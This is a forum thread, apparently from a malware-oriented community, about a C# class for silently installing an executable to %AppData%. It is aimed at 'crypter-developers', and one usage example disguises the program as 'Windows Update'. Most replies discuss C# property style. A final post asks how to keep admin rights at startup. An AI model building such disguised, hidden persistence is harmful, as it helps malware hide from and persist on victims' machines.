[gigajew]

Here's a new installation class I wrote. It supports installing as hidden or normal, and a really great thing about it, is that you can natively pass string paths with environment variables, such as: %appdata%\file.exe which is a thing a lot of crypter-developers may find useful. Example usage is in the paste, but here it is too:

Code

// normal, passed with app title
   var settings = new InstallerSettings("Windows Update", "%AppData%\\MyFile.exe");
   if (!Installer.IsInstalled(settings)) {
    Installer.Install(settings);
   }

// hidden, no app title neccessary
   var settings = new InstallerSettings("%AppData%\\MyFile.exe") { Hidden = true };
   if (!Installer.IsInstalled(settings)) {
    Installer.Install(settings);
   }

[cocaine_monkey]

As im learning i would like to hear your opinion on get set properties, in installersettings why you choose to use them like that? do you use them always like that? i tend to use them only if i need some checks in there or i want to limit it to just get only. Also why use private then public property on that class? wouldnt public get set work just fine? Is it stupid to create get set functions like in c++? i think c++ way looks more sexy but is it stupid?

[gigajew]

As im learning i would like to hear your opinion on get set properties, in installersettings why you choose to use them like that? do you use them always like that? i tend to use them only if i need some checks in there or i want to limit it to just get only

You used to always have to do it that way. I keep doing it for backwards compability and because of habit

[cocaine_monkey]

You used to always have to do it that way. I keep doing it for backwards compability and because of habit

Ok yes its new feature also i edited my post if you could share your opinion

[gigajew]

Ok yes its new feature also i edited my post if you could share your opinion

The things you see that are private are fields and hold the actual values. The properties are like methods that expose them.

[cocaine_monkey]

The things you see that are private are fields and hold the actual values. The properties are like methods that expose them.

Yes i know that

Just so you can learn something new too in c++

Code

private int value;

public void SetValue(int value)
{
   this.value = value;
}

same with get and why _  prefix instead of this? this. Is feature?

[gigajew]

Yes i know that

Just so you can learn something new too in c++

Code

private int value;

public void SetValue(int value)
{
   this.value = value;
}

same with get and why _  prefix instead of this? this. Is feature?

Oh I didn't know you meant that part, that's just preference

[cocaine_monkey]

Oh I didn't know you meant that part, that's just preference

Yes im trying to learn how to write "clean" code and saw your properties usage so was interested

[Ninja]

Why not use auto properties? They are one of the things that make C# great.

[WinA]

How could we use this with programs that require admin permissions? Like we run the program initially as admin but once its copied to startup would it fail to run properly without running as admin?